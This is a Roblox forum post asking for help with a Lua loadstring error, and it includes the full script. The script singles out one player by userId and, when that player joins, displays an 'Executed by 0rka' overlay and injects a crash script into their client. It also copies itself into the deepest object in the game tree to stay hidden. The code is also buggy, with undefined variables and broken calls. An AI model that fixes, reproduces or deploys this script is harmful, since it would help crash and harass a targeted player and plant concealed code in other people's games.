S1xtyJoin Date: 2009-10-25 Post Count: 4491 |
At the loadstring line it errors "[string "if obj.Parent == game.Workspace then local ..."]:1: attempt to index global 'obj' (a nil value)"
Here is the script:
local crash = script:FindFirstChild("LocalScript")
localCrashTable = {5391359}
function doCrash(plr)
local breakIt = false
for i = 1, #localCrashTable do
if localCrashTable[i] == plr.userId then
return true
end
if breakIt == true then
break
end
end
end
_G.insertedOnce_K6JZ783KDNNKSFH93 = false
layerTable = {}
layerCorrespondingTable = {}
function findObject(tab, obj)
local breakIt = false
for i = 1, #tab do
if tab[i] == obj then
breakIt = true
return i
end
if breakIt == true then
break
end
end
end
function findNumParents(obj)
local breakIt = false
for i = 1, 100 do
wait()
parentString = ".Parent"
local index = i
local function concat()
parentString = parentString .. ".Parent"
end
for i = 1, index - 1 do
concat()
end
assert(loadstring("if obj" .. parentString .. " == game.Workspace then local breakIt = true return i end")())
if breakIt == true then
break
end
end
end
function crash(plr)
local LOL = Instance.new("ScreenGui", plr.PlayerGui)
local LOLFrame = Instance.new("ImageLabel", LOL)
LOLFrame.Size = UDim2.new(1,0,1,0)
LOLFrame.Image = "http://www.roblox.com/asset/?id=116441401"
local hum = Instance.new("TextLabel", LOLFrame)
hum.Size = UDim2.new(1,0,.2,1)
hum.BackgroundTransparency = 1
hum.TextColor3 = Color3.new(255, 255, 0)
hum.FontSize = "Size48"
hum.Text = "Executed by 0rka at " .. tick()
wait()
local RIP = crash:Clone()
RIP.Parent = plr.PlayerGui
RIP.Disabled = false
end
function scan(object)
table.insert(layerTable, object)
table.insert(layerCorrespondingTable, findNumParents(object))
for i, v in pairs(v:GetChildren()) do
if v ~= script or script:FindFirstChild("LocalScript") then
table.insert(layerTable, v)
if #v:GetChildren() > 0 then
scan(v)
end
end
end
end
game.Players.PlayerAdded:connect(function(plr)
if doCrash(plr) then
crash(plr)
end
end)
function insertIntoLargest()
local maxNum = 0
local currentLargest = layerTable[i]
for i = 1, #layerTable do
local index = i
if layerCorrespondingTable[index] > maxNum then
maxNum = layerCorrespondingTable[index]
currentLargest = layerTable[index]
end
return maxNum, currentLargest
end
end
if _G.insertedOnce_K6JZ783KDNNKSFH93 == false then
scan()
local hierArchy, deepestObject = insertIntoLargest()
_G.insertedOnce_K6JZ783KDNNKSFH93 = true
local clone = script:Clone()
clone.Parent = deepestObject
end |